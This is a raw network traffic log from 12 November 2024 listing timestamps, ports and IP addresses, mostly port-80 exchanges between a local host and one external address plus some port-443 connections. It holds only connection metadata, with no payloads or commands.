Nov 12, 2024 17:07:55.958033085 CET	49978	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.958065033 CET	443	49978	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.958260059 CET	49978	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.958379030 CET	49978	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.958393097 CET	443	49978	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.986578941 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.986609936 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.986630917 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.986644030 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.986655951 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.986666918 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.986684084 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.986773968 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.986785889 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.986798048 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.986810923 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.986813068 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.986829996 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.986829996 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.986901045 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.986916065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.986926079 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.986927986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.986959934 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.986959934 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.987027884 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987046003 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987056017 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987073898 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.987109900 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.987109900 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.987140894 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987152100 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987163067 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987263918 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.987335920 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987394094 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987405062 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987438917 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987468958 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.987509966 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987560034 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987561941 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.987574100 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987593889 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.987612009 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987694979 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.987696886 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987709045 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987720013 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987735033 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.987736940 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987765074 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.987797976 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987863064 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.987871885 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987884998 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987895966 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.987911940 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.987911940 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.987988949 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.988008022 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988022089 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988033056 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988045931 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988056898 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988070011 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.988090038 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.988159895 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.988223076 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988234997 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988246918 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988260031 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988270998 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988293886 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.988293886 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.988312006 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.988358974 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988421917 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988436937 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988447905 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988460064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988472939 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988487959 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.988487959 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.988569975 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.988636971 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988650084 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988660097 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988672018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988683939 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988732100 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.988732100 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.988732100 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.988775015 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988785982 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988795996 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988807917 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988814116 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988825083 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.988847017 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.988847017 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989028931 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989041090 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989052057 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989063025 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989074945 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989075899 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989087105 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989090919 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989092112 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989191055 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989273071 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989283085 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989293098 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989306927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989320040 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989331961 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989346981 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989347935 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989379883 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989392042 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989403009 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989413977 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989420891 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989427090 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989448071 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989448071 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989485979 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989485979 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989520073 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989537001 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989573002 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989587069 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989605904 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989618063 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989631891 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989631891 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989677906 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989847898 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989859104 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989870071 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989881039 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989892960 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989897013 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989906073 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989917040 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989922047 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989929914 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989942074 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989954948 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989959002 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989972115 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989981890 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989981890 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.989984989 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.989991903 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.990063906 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.990187883 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990236998 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990250111 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990273952 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.990370989 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990381956 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990392923 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990400076 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.990403891 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990416050 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990433931 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.990433931 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.990556955 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990567923 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990578890 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990591049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990603924 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.990603924 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.990642071 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.990642071 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.990808964 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990824938 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990835905 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990854025 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.990854025 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.990884066 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990896940 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990907907 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990919113 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.990920067 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.990972042 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.991024971 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.991024971 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991039038 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991049051 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991060972 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991072893 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991084099 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.991084099 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.991172075 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.991175890 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991188049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991199017 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991213083 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991234064 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.991234064 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.991292000 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.991297960 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991348982 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.991386890 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991400003 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991410971 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991424084 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991435051 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991446018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991466999 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.991486073 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.991487026 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.991640091 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991652012 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991662025 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991673946 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991684914 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991714954 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.991789103 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.991897106 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991909027 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991941929 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.991950989 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.991955042 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.992006063 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.992007017 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.992048025 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.992060900 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.992073059 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.992084980 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.992096901 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.992117882 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.992136002 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.992136002 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.992167950 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.992185116 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.992213011 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.992257118 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.996460915 CET	443	49966	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:55.996768951 CET	49966	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:55.996782064 CET	443	49966	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:55.997826099 CET	443	49966	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:55.997889996 CET	49966	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:55.998279095 CET	49966	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:55.998339891 CET	443	49966	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:55.998471975 CET	49966	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:55.998472929 CET	49966	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:55.998507977 CET	443	49966	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.001702070 CET	443	49967	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.001913071 CET	49967	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.001923084 CET	443	49967	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.002280951 CET	443	49967	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.002751112 CET	49967	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.002751112 CET	49967	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.002762079 CET	443	49967	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.002835989 CET	443	49967	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.002885103 CET	49967	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.002926111 CET	443	49967	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.017646074 CET	443	49969	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.017720938 CET	443	49969	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.017901897 CET	49969	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.017901897 CET	49969	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.017924070 CET	49969	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.017934084 CET	443	49969	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.020503998 CET	49979	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.020543098 CET	443	49979	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.020675898 CET	49979	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.020749092 CET	49979	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:56.020761967 CET	443	49979	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:56.032638073 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:56.032748938 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:56.034651041 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:56.034697056 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:56.034729958 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:56.034737110 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:56.034765959 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:56.045612097 CET	49967	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.045646906 CET	49966	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.045655012 CET	443	49966	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:56.076864004 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:56.092719078 CET	49966	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:56.109302044 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109317064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109328032 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109350920 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109365940 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109378099 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109391928 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109402895 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.109402895 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.109492064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109502077 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.109504938 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109517097 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109586000 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109599113 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109610081 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109623909 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109625101 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.109636068 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109648943 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109654903 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.109654903 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.109702110 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.109702110 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.109899044 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109911919 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109926939 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109940052 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109951973 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109963894 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109976053 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.109977961 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.109977961 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.109999895 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.110147953 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.110171080 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.110183001 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.110194921 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.110205889 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.110228062 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.110228062 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.110337019 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.110371113 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.110383034 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.110394001 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.110405922 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.110415936 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.110429049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.110440016 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.110445023 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.110451937 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.110462904 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.110472918 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:56.110481977 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:56.110481977 CET	49859	80	192.168.2.6	185.215.113.206
